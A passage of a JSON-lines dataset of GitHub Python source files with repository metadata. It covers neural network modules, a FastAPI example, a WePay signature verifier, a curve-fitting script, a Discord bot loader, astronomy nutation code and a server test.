hidden_dim[2], 3, stride=1, dilation=4, padding=4),\n nn.BatchNorm2d(hidden_dim[2]),\n utils.get_act_fn(act_fn_hid),\n nn.Conv2d(hidden_dim[2], hidden_dim[3], 3, stride=1, dilation=8, padding=8),\n nn.BatchNorm2d(hidden_dim[3]),\n utils.get_act_fn(act_fn_hid),\n nn.Conv2d(\n hidden_dim[3], hidden_dim[4], 3, stride=1, dilation=16, padding=16\n ),\n nn.BatchNorm2d(hidden_dim[4]),\n utils.get_act_fn(act_fn_hid),\n nn.Conv2d(\n hidden_dim[4], hidden_dim[5], 3, stride=1, dilation=32, padding=32\n ),\n nn.BatchNorm2d(hidden_dim[5]),\n utils.get_act_fn(act_fn_hid),\n nn.Conv2d(hidden_dim[5], output_dim, 3, stride=2, dilation=1, padding=1),\n )\n\n def forward(self, obs):\n return self.net(obs)\n\n\nclass ReacherEmbedding_D4(nn.Module):\n def __init__(\n self,\n input_dim,\n output_dim,\n group_order,\n hidden_dim=[16, 16, 16, 16, 16, 16],\n ):\n super().__init__()\n self.input_dim = input_dim\n assert len(hidden_dim) == 6, \"len(hidden_dim) must equal 6\"\n self.hidden_dim = hidden_dim\n self.output_dim = output_dim\n\n self.r2_act = gspaces.FlipRot2dOnR2(N=group_order)\n\n self.feat_type_in = e2nn.FieldType(\n self.r2_act, input_dim * [self.r2_act.trivial_repr]\n )\n self.feat_type_hid = [\n e2nn.FieldType(self.r2_act, h * [self.r2_act.regular_repr])\n for h in hidden_dim\n ]\n self.feat_type_out = e2nn.FieldType(\n self.r2_act, output_dim * [self.r2_act.regular_repr]\n )\n\n self.net = e2nn.SequentialModule(\n e2nn.R2Conv(\n self.feat_type_in, self.feat_type_hid[0], 3, stride=2, padding=1\n ),\n e2nn.InnerBatchNorm(self.feat_type_hid[0]),\n e2nn.ReLU(self.feat_type_hid[0]),\n e2nn.R2Conv(\n self.feat_type_hid[0], self.feat_type_hid[1], 3, dilation=2, padding=2\n ),\n e2nn.InnerBatchNorm(self.feat_type_hid[1]),\n e2nn.ReLU(self.feat_type_hid[1]),\n e2nn.R2Conv(\n self.feat_type_hid[1], self.feat_type_hid[2], 3, dilation=4, padding=4\n ),\n e2nn.InnerBatchNorm(self.feat_type_hid[2]),\n e2nn.ReLU(self.feat_type_hid[2]),\n e2nn.R2Conv(\n self.feat_type_hid[2], self.feat_type_hid[3], 3, dilation=8, padding=8\n ),\n e2nn.InnerBatchNorm(self.feat_type_hid[3]),\n e2nn.ReLU(self.feat_type_hid[3]),\n e2nn.R2Conv(\n self.feat_type_hid[3], self.feat_type_hid[4], 3, dilation=16, padding=16\n ),\n e2nn.InnerBatchNorm(self.feat_type_hid[4]),\n e2nn.ReLU(self.feat_type_hid[4]),\n e2nn.R2Conv(\n self.feat_type_hid[4], self.feat_type_hid[5], 3, dilation=32, padding=32\n ),\n e2nn.InnerBatchNorm(self.feat_type_hid[5]),\n e2nn.ReLU(self.feat_type_hid[5]),\n e2nn.R2Conv(\n self.feat_type_hid[5], self.feat_type_out, 3, stride=2, padding=1\n ),\n )\n\n def forward(self, obs):\n obs = e2nn.GeometricTensor(obs, self.feat_type_in)\n x = self.net(obs)\n\n return x.tensor\n","repo_name":"jypark0/sen","sub_path":"sen/net/embedding.py","file_name":"embedding.py","file_ext":"py","file_size_in_byte":7536,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"36"} +{"seq_id":"25581376261","text":"from fastapi import FastAPI\nfrom pydantic import BaseModel\n\n\napp = FastAPI()\n\n# Entidad user\n\nclass User(BaseModel):\n name: str\n surname: str\n url: str\n age: int\n \nusers_list =[User(name= \"Alvaro\",surname= \"Casco\",url= \"https://almasoft.com.ni\",age= 17),\n User(name= \"Jesua\",surname= \"Lopez\",url= \"https://gutierrezcia.com.ni\",age= 22),\n User(name=\"Francisco\",surname= \"Guido\",url= \"https://sinriesgo.com.ni\",age= 42),]\n\n@app.get(\"/usersjson\")\nasync def usersjson():\n return [{\"name\":\"Alvaro\", \"surname\":\"Casco\",\"url\":\"https://almasoft.com.ni\",\"age\":16},\n {\"name\":\"Jesua\", \"surname\":\"Lopez\",\"url\":\"https://gutierrezcia.com.ni\",\"age\":22},\n {\"name\":\"Francisco\", \"surname\":\"Guido\",\"url\":\"https://sinriesgo.com.ni\",\"age\":42}]\n\n@app.get(\"/users\")\nasync def users():\n return users_list","repo_name":"AlvaroAndres123/Python_Curso_Proyectos_Practicas","sub_path":"Backend/FastAPI/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"72382707624","text":"import json\nfrom base64 import urlsafe_b64decode, urlsafe_b64encode\n\nfrom Cryptodome.Hash import SHA256\nfrom Cryptodome.PublicKey import RSA\nfrom Cryptodome.Signature import pkcs1_15\n\n\nclass WePayClearSignatureVerifier:\n \"\"\"The following implementation comes from the official WePay Clear documentation\n for handling their signature verification.\n\n https://dev.wepay.com/api/guides/notification-signatures/#python-example\n\n We modified some of this logic from the original to accommodate our own integration.\n \"\"\"\n\n def __init__(self, pubkey):\n # Obtain and insert the WePay public key.\n self.public_key = RSA.import_key(pubkey)\n\n @staticmethod\n def base64url_decode(payload):\n payload_length = len(payload) % 4\n if payload_length == 2:\n payload += \"==\"\n elif payload_length == 3:\n payload += \"=\"\n elif payload_length != 0:\n raise ValueError(\"Invalid base64 string\")\n return urlsafe_b64decode(payload.encode(\"utf-8\"))\n\n @staticmethod\n def base64_decode(data: str) -> str:\n return str(WePayClearSignatureVerifier.base64url_decode(data), \"utf-8\", \"ignore\")\n\n @staticmethod\n def base64_encode(payload: str) -> str:\n if not isinstance(payload, bytes):\n payload = payload.encode(\"utf-8\")\n encode = urlsafe_b64encode(payload)\n return encode.decode(\"utf-8\").rstrip(\"=\")\n\n def __verify_single_signature(self, payload, sig):\n data = SHA256.new(payload.encode(\"utf-8\"))\n try:\n pkcs1_15.new(self.public_key).verify(data, sig)\n return True\n except Exception as e:\n print(e)\n return False\n\n def verify_signatures(self, request_body, wepay_signature):\n try:\n # Read \"wepay-signature\" in the HTTP request header and Base64 decode it.\n decoded_wepay_signature = WePayClearSignatureVerifier.base64_decode(\n wepay_signature)\n\n # Read the request body as a string and Base64 encode it.\n base64_request_body = WePayClearSignatureVerifier.base64_encode(\n request_body)\n\n # Parse \"wepay-signature\" as a JSON array and read the elements in it.\n sig_json_array = json.loads(decoded_wepay_signature)\n for sig in sig_json_array:\n protected = sig[\"protected\"]\n signature = sig[\"signature\"]\n\n # Base64 decode the signature value.\n decoded_signature = WePayClearSignatureVerifier.base64url_decode(\n signature)\n\n # Concat protected + \".\" + request body to get the payload.\n payload = protected + \".\" + base64_request_body\n\n # Call RSA to verify the function.\n verified = self.__verify_single_signature(\n payload, decoded_signature)\n if verified:\n return True\n print(\"Either signature or payload have invalid format\")\n return False\n except Exception as e:\n print(e)\n print(\"WePay Clear Notification signature could not be validated\")\n return False\n","repo_name":"fsl-ramon/innovation-2022","sub_path":"signature_verifier.py","file_name":"signature_verifier.py","file_ext":"py","file_size_in_byte":3213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"1579547447","text":"import scipy as sp\nimport matplotlib.pyplot as plt \n\n#----REading in the Data-----\ndata = sp.genfromtxt('web_traffic.tsv', delimiter = '\\t')\nprint(data.shape)\n\n#----Preprocessing and cleaning in the data----\nx = data[:,0]\ny = data[:,1]\n\n#imprimir el total de nan en cada columna\nprint('Invalid data in x: ', sp.sum(sp.isnan(x)))\nprint('Invalid data in y: ', sp.sum(sp.isnan(y)))\n\n#borrar los que tienen nan \nx = x[~sp.isnan(y)]\ny = y[~sp.isnan(y)]\n\n#graficar los datos\nplt.scatter(x, y, linewidths=0.01)\nplt.title('Web traffic over the last month')\nplt.xlabel('Time')\nplt.ylabel('Hits/hour')\nplt.xticks([w*7*24 for w in range(10)], ['week %i' %w for w in range(10)])\n\n#before building our first model, approximation erro\ndef error(f, x, y):\n return sp.sum((f(x) - y) ** 2)\n\n#starting with a simple straight line\nfp1, residuals, runk, sv, rcod = sp.polyfit(x, y, 1, full = True)\nprint('Model parameters: %s' % fp1)\n#print(residuals, runk, sv, rcod)\nf1 = sp.poly1d(fp1) #esta linea crea la funcion ax + b\nprint(error(f1, x, y))\nfx = sp.linspace(0, x[-1], 1000)\nplt.plot(fx, f1(fx), linewidth = 4, color = 'g')\nplt.legend(['d = %i' % f1.order], loc = 'upper left')\n\n\n#Towards some advanced stuff\nf2p = sp.polyfit(x, y, 2)\nprint(f2p)\nf2 = sp.poly1d(f2p)\nprint(f2)\nprint(error(f2, x, y))\nf2x = sp.linspace(0, x[-1], 1000)\nplt.plot(f2x, f2(f2x), linewidth = 4, color = 'r')\nplt.legend(['d = %i' % f2.order], loc = 'upper left')\n\n#Let's try it for degree 3, 10, and 100\nf3p = sp.polyfit(x, y, 3)\nf3 = sp.poly1d(f3p)\nf3x = sp.linspace(0, x[-1], 1000)\nplt.plot(f3x, f3(f3x), linewidth=4, color='k')\nplt.legend(['d = %i' % f3.order], loc='upper left')\n\nf100p = sp.polyfit(x, y, 50)\n\nf100 = sp.poly1d(f100p)\nf100x = sp.linspace(0, x[-1], 1000)\nplt.plot(f100x, f100(f100x), linewidth = 4, color = 'y', linestyle = '--')\n\nplt.autoscale(tight=True)\nplt.grid()\n\n\n#Stepping back to go forward - another look at our data\ninflection = 3*7*24 \nxa = x[:int(inflection)] #data before the inflection point\nya = y[:int(inflection)]\nxb = x[int(inflection):]\nyb = y[int(inflection):]#data after\n\nfa = sp.poly1d(sp.polyfit(xa, ya, 1))\nfb = sp.poly1d(sp.polyfit(xb, yb, 1))\nvector_x = sp.linspace(0, x[-1], 1000)\nplt.plot(vector_x, fa(vector_x), 'r--')\nplt.plot(vector_x, fb(vector_x), 'r--')\nplt.show()\n\n","repo_name":"jesuslz/AIPy","sub_path":"Documentation/BuildingMachineLearningSystems/codes/p2-LearningScipy/p1-firstMAchineLearningApp.py","file_name":"p1-firstMAchineLearningApp.py","file_ext":"py","file_size_in_byte":2284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"75258044905","text":"import os\n\nfrom datetime import datetime\n\nif \"config.py\" not in os.listdir():\n print(\n \"config.py not found, \"\n \"make sure to rename config-example.py to config.py \"\n \"and fill in the right information.\"\n )\n exit(1)\n\nfrom config import command_prefix, auth_token, color\n\nfrom discord.ext import commands\n\nbot = commands.Bot(command_prefix=command_prefix)\nbot.start_time = datetime.now()\nbot.color = color\n\nfor cog in os.listdir(\"cogs\"):\n if cog.endswith(\".py\"):\n try:\n bot.load_extension(f\"cogs.{cog[:-3]}\")\n print(f\"✓ Successfully loaded {cog}\")\n except commands.ExtensionFailed:\n print(f\"! Failed loading {cog}\")\n\n\nbot.run(auth_token)\n","repo_name":"nudesinha/SoloLevelingBot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"21709210186","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[6]:\n\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.utils.data import DataLoader,TensorDataset\nfrom sklearn.model_selection import train_test_split\nimport sklearn.metrics as skm\nimport torchvision\nfrom torchsummary import summary\n\n\nimport matplotlib.pyplot as plt\nget_ipython().run_line_magic('matplotlib', 'inline')\n\nimport json\n\n\n# In[7]:\n\n\n#for gpu model\ndevice = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n\n\n# In[8]:\n\n\ntorch.cuda.is_available()\n\n\n# In[4]:\n\n\n# from google.colab import drive\n# drive.mount('/content/drive')\n\n\n# In[ ]:\n\n\n\n\n\n# In[9]:\n\n\n#loading data from json file \n# path = '/content/drive/MyDrive/Colab Notebooks/data_test.json'\npath = 'dataset/data_10.json'\n\nwith open(path,\"r\") as jsonLoad:\n mainData = json.load(jsonLoad)\n labels = mainData['labels']\n data = mainData['mfcc']\n mappings = mainData['mapping']\n \n\n\n# In[10]:\n\n\n#inspection of data\n\n# print(labels)\nprint(len(data))\n\ndataT = torch.tensor(data).float()\nlabelsT = torch.tensor(labels).long()\n\n#transform to 4d tensors \nmfccCoeff = dataT.view([5992,1,216,13]).float()\nprint(mfccCoeff.shape)\nprint(type(mfccCoeff))\n\n\n# In[11]:\n\n\n# print(dataT.shape)\nprint(labelsT.shape)\n\ntorch.unique(dataT)\n\n\n# In[12]:\n\n\n#normalization of data\nplt.hist(mfccCoeff[:10,:,:,:].view(1,-1).detach(),40)\nplt.title('Raw values')\nplt.show()\n\nmfccCoeff /= torch.max(mfccCoeff)\nplt.hist(mfccCoeff[:10,:,:,:].view(1,-1).detach(),40)\nplt.title('Raw values')\nplt.show()\n\n\n# In[13]:\n\n\ntrain_data,test_data,train_labels,test_labels = train_test_split(mfccCoeff,labelsT,test_size=.1)\n\n\ntrain_data = TensorDataset(train_data,train_labels)\ntest_data = TensorDataset(test_data,test_labels)\n\nbatchsize = 32\ntrain_loader = DataLoader(train_data,batch_size=batchsize,shuffle=True,drop_last=True)\ntest_loader = DataLoader(test_data,batch_size=test_data.tensors[0].shape[0])\n\n\n# In[14]:\n\n\n#check size\nprint(train_loader.dataset.tensors[0].shape)\nprint(train_loader.dataset.tensors[1].shape)\n\nprint('\\n')\nprint(test_loader.dataset.tensors[0].shape)\nprint(test_loader.dataset.tensors[1].shape)\n\nprint(test_data.tensors[0].shape[0])\n\n\n# In[15]:\n\n\ndef makeTheModel(printtoggle=False):\n class musicNet(nn.Module):\n def __init__(self,printtoggle):\n super().__init__()\n \n #printtoggle\n self.print = printtoggle\n \n #firstconvolution layer\n self.conv1 = nn.Conv2d(1,64,3,padding=1)\n self.bnorm1 = nn.BatchNorm2d(64) \n \n #second convolution layer\n self.conv2 = nn.Conv2d(64,128,3,padding=1)\n self.bnorm2 = nn.BatchNorm2d(128)\n \n #linear layers\n self.fc1 = nn.Linear(54*3*128,256)\n self.fc2 = nn.Linear(256,64)\n self.fc3 = nn.Linear(64,10)\n \n def forward(self,x):\n \n if self.print: print(f'Input: {list(x.shape)}')\n \n #firstblock \n x = F.leaky_relu( self.bnorm1( F.max_pool2d(self.conv1(x),2) ) )\n if self.print: print(f'First block : {list(x.shape)}')\n \n #secondblock\n x = F.leaky_relu( self.bnorm2( F.max_pool2d(self.conv2(x),2) ) )\n if self.print: print(f'Second block : {list(x.shape)}')\n \n #reshape for linear layer\n nUnits = x.shape.numel()/x.shape[0]\n# print(x.shape.numel()),print(x.shape[0]),print(nUnits)\n x = x.view(-1,int(nUnits))\n if self.print: print(f'Vectorized : {list(x.shape)}')\n\n #linear layer\n x = F.leaky_relu(self.fc1(x))\n x = F.dropout(x,p=.5,training=self.training)\n x = F.leaky_relu(self.fc2(x))\n x = F.dropout(x,p=.65,training=self.training)\n x = self.fc3(x)\n if self.print: print(f'Final output : {list(x.shape)}')\n \n return x\n \n #model instance\n net = musicNet(printtoggle)\n \n #lossfun\n lossfun = nn.CrossEntropyLoss()\n \n #optimzer\n optimizer = torch.optim.Adam(net.parameters(),lr=.0001,weight_decay=1e-5)\n \n return net,lossfun,optimizer\n \n\n\n# In[16]:\n\n\n# test the model with one batch\nnet,lossfun,optimizer = makeTheModel(True)\n\nX,y = iter(train_loader).next()\nyHat = net(X)\n\n# check size of output\nprint('\\nOutput size:')\nprint(yHat.shape)\n\n# # now let's compute the loss\nloss = lossfun(yHat,torch.squeeze(y))\nprint(' ')\nprint('Loss:')\nprint(loss)\n\n\n# In[ ]:\n\n\n\n\n\n# In[17]:\n\n\n#train model\ndef function2trainTheModel():\n\n # number of epochs\n numepochs = 35\n \n # create a new model\n net,lossfun,optimizer = makeTheModel()\n\n # send the model to the GPU\n net.to(device)\n\n # initialize losses\n trainLoss = torch.zeros(numepochs)\n testLoss = torch.zeros(numepochs)\n trainErr = torch.zeros(numepochs)\n testErr = torch.zeros(numepochs)\n\n\n # loop over epochs\n for epochi in range(numepochs):\n\n # loop over training data batches\n net.train()\n batchLoss = []\n batchErr = []\n for X,y in train_loader:\n\n # push data to GPU\n X = X.to(device)\n y = y.to(device)\n\n # forward pass and loss\n yHat = net(X)\n loss = lossfun(yHat,y)\n\n # backprop\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n # loss and error from this batch\n batchLoss.append(loss.item())\n batchErr.append( torch.mean((torch.argmax(yHat,axis=1) != y).float()).item() )\n # end of batch loop...\n\n # and get average losses and error rates across the batches\n trainLoss[epochi] = np.mean(batchLoss)\n trainErr[epochi] = 100*np.mean(batchErr)\n\n\n\n ### test performance\n net.eval()\n X,y = next(iter(test_loader)) # extract X,y from test dataloader\n\n # push data to GPU\n X = X.to(device)\n y = y.to(device)\n\n with torch.no_grad(): # deactivates autograd\n yHat = net(X)\n loss = lossfun(yHat,y)\n \n # get loss and error rate from the test batch\n testLoss[epochi] = loss.item()\n testErr[epochi] = 100*torch.mean((torch.argmax(yHat,axis=1) != y).float()).item()\n\n # end epochs\n\n # function output\n return trainLoss,testLoss,trainErr,testErr,net,yHat\n\n\n# In[19]:\n\n\ntrainLoss,testLoss,trainErr,testErr,net, y_predicted_feature = function2trainTheModel()\n\n\n# In[20]:\n\n\ndef predictUpload(mfccCoeff):\n mfccCoeff /= torch.max(mfccCoeff)\n yUploadPred = net(mfccCoeff)\n return yUploadPred\n\n \n\n\n# In[ ]:\n\n\n\n\n\n# In[21]:\n\n\ny_predicted = torch.argmax(y_predicted_feature.cpu(),axis=1)\n\n\n# In[22]:\n\n\nfig,ax = plt.subplots(1,2,figsize=(16,5))\n\nax[0].plot(trainLoss,'s-',label='Train')\nax[0].plot(testLoss,'o-',label='Test')\nax[0].set_xlabel('Epochs')\nax[0].set_ylabel('Loss ')\nax[0].set_title('Model loss')\n\nax[1].plot(trainErr,'s-',label='Train')\nax[1].plot(testErr,'o-',label='Test')\nax[1].set_xlabel('Epochs')\nax[1].set_ylabel('Error rates (%)')\nax[1].set_title(f'Final model test error rate: {testErr[-1]:.2f}%')\nax[1].legend()\n\nplt.show()\n\n\n# In[23]:\n\n\n\nfrom sklearn.metrics import classification_report\nprint(classification_report(test_labels.detach(),y_predicted))\n\n\n# In[ ]:\n\n\n\n\n\n# In[24]:\n\n\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nplt = plt.figure(figsize=(15,5))\nc = skm.confusion_matrix(test_labels.detach(), y_predicted, normalize='pred')\nplt_1 =sns.heatmap(c,annot=True,cmap='summer',xticklabels=mappings,yticklabels=mappings)\nplt_1.set_title('Confusion matrix\\n\\n');\nplt_1.set_xlabel('\\nGenre')\nplt_1.set_ylabel('\\nGenre')\n\n\n\n\n\n# In[ ]:\n\n\nprint(y_predicted.shape)\n\n\n# In[ ]:\n\n\nprint(test_labels.shape)\n# print(test_labels)\n\n\n# In[ ]:\n\n\ny_predicted_labels = torch.softmax(y_predicted_feature.cpu(),axis=1)\n\n\n# In[ ]:\n\n\ny_predicted_labels[1]\n\n\n# In[ ]:\n\n\nmap=['disco', 'metal', 'reggae', 'blues', 'rock', 'classical', 'jazz', 'hiphop', 'country', 'pop']\n\n\n# In[ ]:\n\n\nimport matplotlib.pyplot as plt\nfig = plt.figure()\nax = fig.add_axes([0,0,1,1])\nlangs = ['disco', 'metal', 'reggae', 'blues', 'rock', 'classical', 'jazz', 'hiphop', 'country', 'pop']\n\nax.bar(langs,y_predicted_labels[1])\nplt.show()\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"aj-sapkota/Music-Genre-Classification","sub_path":"modelanddata/deep_learning.py","file_name":"deep_learning.py","file_ext":"py","file_size_in_byte":8190,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"2720075173","text":"\nfrom scipy import io\nfrom Const import Const\nfrom numpy import shape\nfrom iauFal03 import iauFal03\nfrom iauFaf03 import iauFaf03\nfrom iauFaom03 import iauFaom03\nfrom math import sin,cos\ndef iauNut00a(date1, date2):\n\n const=Const()\n\n # % Units of 0.1 microarcsecond to radians\n U2R = const['DAS2R'] / 1e7\n\n # % -------------------------\n # % Luni-Solar nutation model\n # % -------------------------\n #\n # % The units for the sine and cosine coefficients are\n # % 0.1 microarcsecond and the same per Julian century\n #\n # % nl,nlp,nf,nd,nom: coefficients of l,l',F,D,Om\n # % sp,spt,cp: longitude sin, t*sin, cos coefficients\n # % ce,cet,se: obliquity cos, t*cos, sin coefficients\n\n mat = io.loadmat('xls.mat')\n\n xls=mat['xls']\n\n\n # % Number of terms in the luni-solar nutation model\n temporary_parameter = shape(xls)\n NLS=temporary_parameter[0]\n\n # % ------------------------\n # % Planetary nutation model\n # % ------------------------\n #\n # % The units for the sine and cosine coefficients are\n # % 0.1 microarcsecond\n #\n # % nl, nf, nd, nom coefficients of l, F, D and Omega\n # % nme, nve, nea, nma, nju, nsa, nur, nne coefficients of planetary longitudes\n # % npa coefficient of general precession\n # % sp,cp longitude sin, cos coefficients\n # % se,ce obliquity sin, cos coefficients\n mat = io.loadmat('xpl.mat')\n\n xpl = mat['xpl']\n\n # % Number of terms in the planetary nutation model\n temporary_parameter = shape(xpl)\n NPL = temporary_parameter[0]\n\n # % --------------------------------------------------------------------\n\n # % Interval between fundamental date J2000.0 and given date (JC).\n t = ((date1 - const['DJ00']) + date2) / const['DJC']\n\n # % -------------------\n # % LUNI-SOLAR NUTATION\n # % -------------------\n #\n # % Fundamental (Delaunay) arguments\n #\n # % Mean anomaly of the Moon (IERS 2003).\n el = iauFal03(t)\n\n # % Mean anomaly of the Sun (MHB2000)\n elp = ((1287104.79305 +\n t * (129596581.0481 +\n t * (-0.5532 +\n t * (0.000136 +\n t * (-0.00001149)))))% const['TURNAS']) * const['DAS2R']\n\n # % Mean longitude of the Moon minus that of the ascending node (IERS 2003).\n\n f = iauFaf03(t)\n\n # % Mean elongation of the Moon from the Sun (MHB2000).\n d = ((1072260.70369 +\n t * (1602961601.2090 +\n t * (-6.3706 +\n t * (0.006593 +\n t * (-0.00003169)))))% const['TURNAS'])*const['DAS2R']\n\n # % Mean longitude of the ascending node of the Moon (IERS 2003).\n om = iauFaom03(t)\n\n # % Initialize the nutation values.\n dp = 0.0\n de = 0.0\n\n # % Summation of luni-solar nutation series (in reverse order).\n for i in range(NLS, 0, -1):\n\n # % Argument and functions.\n arg = ((xls[i-1,0] * el + xls[i-1,1] * elp + xls[i-1,2] * f + xls[i-1,3] * d +\n xls[i-1,4] * om)%const['D2PI'])\n sarg = sin(arg)\n carg = cos(arg)\n\n # % Term\n dp = dp + (xls[i-1,5] + xls[i-1,6] * t) * sarg + xls[i-1,7] * carg\n de = de + (xls[i-1,8] + xls[i-1,9] * t) * carg + xls[i-1,10] * sarg\n\n\n # % Convert from 0.1 microarcsec units to radians.\n dpsils = dp * U2R\n depsls = de * U2R\n\n # % ------------------\n # % PLANETARY NUTATION\n # % ------------------\n #\n # % n.b. The MHB2000 code computes the luni-solar and planetary nutation\n # % in different functions, using slightly different Delaunay\n # % arguments in the two cases. This behaviour is faithfully\n # % reproduced here. Use of the IERS 2003 expressions for both\n # % cases leads to negligible changes, well below\n # % 0.1 microarcsecond.\n\n # % Mean anomaly of the Moon (MHB2000).\n al = ((2.35555598 + 8328.6914269554 * t)%const['D2PI'])\n\n # % Mean longitude of the Moon minus that of the ascending node (MHB2000).\n af = ((1.627905234 + 8433.466158131 * t)%const['D2PI'])\n\n # % Mean elongation of the Moon from the Sun (MHB2000)\n ad = ((5.198466741 + 7771.3771468121 * t)%const['D2PI'])\n\n # % Mean longitude of the ascending node of the Moon (MHB2000)\n aom = ((2.18243920 - 33.757045 * t)%const['D2PI'])\n\n # % General accumulated precession in longitude (IERS 2003)\n apa = (0.024381750 + 0.00000538691 * t) * t\n\n # % Mean longitude of Mercury (IERS Conventions 2003)\n alme = ((4.402608842 + 2608.7903141574 * t)%const['D2PI'])\n\n # % Mean longitude of Venus (IERS Conventions 2003)\n alve = ((3.176146697 + 1021.3285546211 * t)%const['D2PI'])\n\n # % Mean longitude of Earth (IERS Conventions 2003)\n alea = ((1.753470314 + 628.3075849991 * t)% const['D2PI'])\n\n # % Mean longitude of Mars (IERS Conventions 2003)\n alma = ((6.203480913 + 334.0612426700 * t)% const['D2PI'])\n\n # % Mean longitude of Jupiter (IERS Conventions 2003)\n alju = ((0.599546497 + 52.9690962641 * t)% const['D2PI'])\n\n # % Mean longitude of Saturn (IERS Conventions 2003)\n alsa = ((0.874016757 + 21.3299104960 * t)% const['D2PI'])\n\n # % Mean longitude of Uranus (IERS Conventions 2003)\n alur = ((5.481293872 + 7.4781598567 * t)%const['D2PI'])\n\n # % Neptune longitude (MHB2000).\n alne = ((5.321159000 + 3.8127774000 * t)% const['D2PI'])\n\n # % Initialize the nutation values.\n dp = 0.0\n de = 0.0\n\n # % Summation of planetary nutation series (in reverse order).\n for i in range(NPL,0,-1):\n # % Argument and functions.\n arg = ((xpl[i-1,0] * al + xpl[i-1,1] * af + xpl[i-1,2] * ad +\n xpl[i-1,3] * aom + xpl[i-1,4] * alme + xpl[i-1,5] * alve +\n xpl[i-1,6] * alea + xpl[i-1,7] * alma + xpl[i-1,8] * alju +\n xpl[i-1,9]* alsa + xpl[i-1,10]* alur + xpl[i-1,11]* alne +\n xpl[i-1,12]* apa)% const['D2PI'])\n sarg = sin(arg)\n carg = cos(arg)\n\n # % Term.\n dp = dp + xpl[i-1,13] * sarg + xpl[i-1,14] * carg\n de = de + xpl[i-1,15] * sarg + xpl[i-1,16] * carg\n\n\n # % Convert from 0.1 microarcsec units to radians.\n dpsipl = dp * U2R\n depspl = de * U2R\n\n # % -------\n # % RESULTS\n # % -------\n\n # % Add luni-solar and planetary components.\n dpsi = dpsils + dpsipl\n deps = depsls + depspl\n\n return dpsi,deps\n\n\ndef test():\n date1=2450123.7\n date2=0\n dpsi, deps=iauNut00a(date1, date2)\n print('dpsi',dpsi,'deps',deps)\n\n\n\n\nif __name__ == \"__main__\":\n\n test()","repo_name":"XinruiLiuUA/vlbiOrbitSimulation","sub_path":"iauNut00a.py","file_name":"iauNut00a.py","file_ext":"py","file_size_in_byte":6568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"17668095820","text":"from pydantic import BaseModel\nfrom typing import List, Optional\n\n\nclass Image(BaseModel):\n alt: str = \"Image\"\n url: str\n\n\nclass Ingredient(BaseModel):\n name: str\n amount: str\n link: Optional[str]\n\n @property\n def formatted_name(self):\n if self.link is not None:\n return f\"[{self.name}]({self.link})\"\n else:\n return self.name\n\n\nclass Step(BaseModel):\n step: str\n substeps: Optional[List[str]]\n\n\nclass Recipe(BaseModel):\n image: Optional[Image]\n name: str\n description: str\n ingredients: List[Ingredient]\n steps: Optional[List[Step]]\n produces: str\n source: Optional[str]\n","repo_name":"wburklund/recipes-as-code","sub_path":"main/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"36"} +{"seq_id":"74160101863","text":"#!/bin/python3\n\nimport os\nimport sys\nfrom collections import Counter\n\ndef happyLadybugs(b, n):\n b_counter = Counter(b)\n for each_key in b_counter:\n if each_key != '_' and b_counter[each_key] < 2: \n return ('NO')\n\n if len(b) == 1 and b != '_':\n return 'NO'\n if len(b) == 2 and b[0] != b[1]:\n return 'NO'\n if '_' not in b: \n for i in range(1, n - 1):\n if b[i] != b[i + 1] and b[i - 1] != b[i]:\n return \"NO\"\n return 'YES'\n\n\nif __name__ == '__main__':\n fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n g = int(input())\n \n for g_itr in range(g):\n n = int(input())\n\n b = input()\n\n result = happyLadybugs(b, n)\n\n fptr.write(result + '\\n')\n\n fptr.close()\n","repo_name":"CodingProgrammer/HackerRank_Python","sub_path":"(Implementation)Happy_Ladybugs.py","file_name":"(Implementation)Happy_Ladybugs.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"36737847290","text":"\"\"\"\nTests for the basic operation of the failnozzzle server\n\"\"\"\nfrom mock import ANY, call, DEFAULT, Mock, patch\nfrom nose.tools import eq_\nimport os\nimport sys\n\nfrom jinja2.environment import Environment\nfrom jinja2.loaders import FileSystemLoader\n\nfrom failnozzle import server\nfrom failnozzle.server import calc_recips, flusher, is_just_monitoring_error, \\\n mailer, MessageBuffer, MessageCounts, MessageRate, \\\n _process_one_message, _package_unique_message, UniqueMessage, setting\n\n\n# Fix path to import failnozzle\nTEST_DIR = os.path.dirname(__file__)\nsys.path.append(TEST_DIR + '/../..')\n\n\ndef test_message_buffer():\n subject_template = Mock()\n body_template = Mock()\n\n buf = MessageBuffer(subject_template, body_template)\n msg1 = UniqueMessage('test', 'test', 'test', 'message1', 'test.py', 1,\n 'exception text', 'app')\n msg2 = UniqueMessage('test', 'test', 'test', 'message2', 'test.py', 1,\n 'exception text', 'app')\n\n buf.add(msg1, 'host1')\n buf.add(msg1, 'host1')\n buf.add(msg1, 'host2')\n buf.add(msg2, 'host2')\n\n eq_(4, buf.total)\n eq_(2, buf.total_unique)\n eq_({'app'}, buf.kinds)\n eq_(2, len(buf.sorted_counts))\n eq_('message1', buf.sorted_counts[0][0].message)\n eq_(3, buf.sorted_counts[0][1].total)\n eq_(3, buf.total_matching(lambda m: m.message == 'message1'))\n\n subject_template.render.return_value = 'subj'\n body_template.render.return_value = 'body'\n\n subj, body, uniq_messages = buf.flush()\n 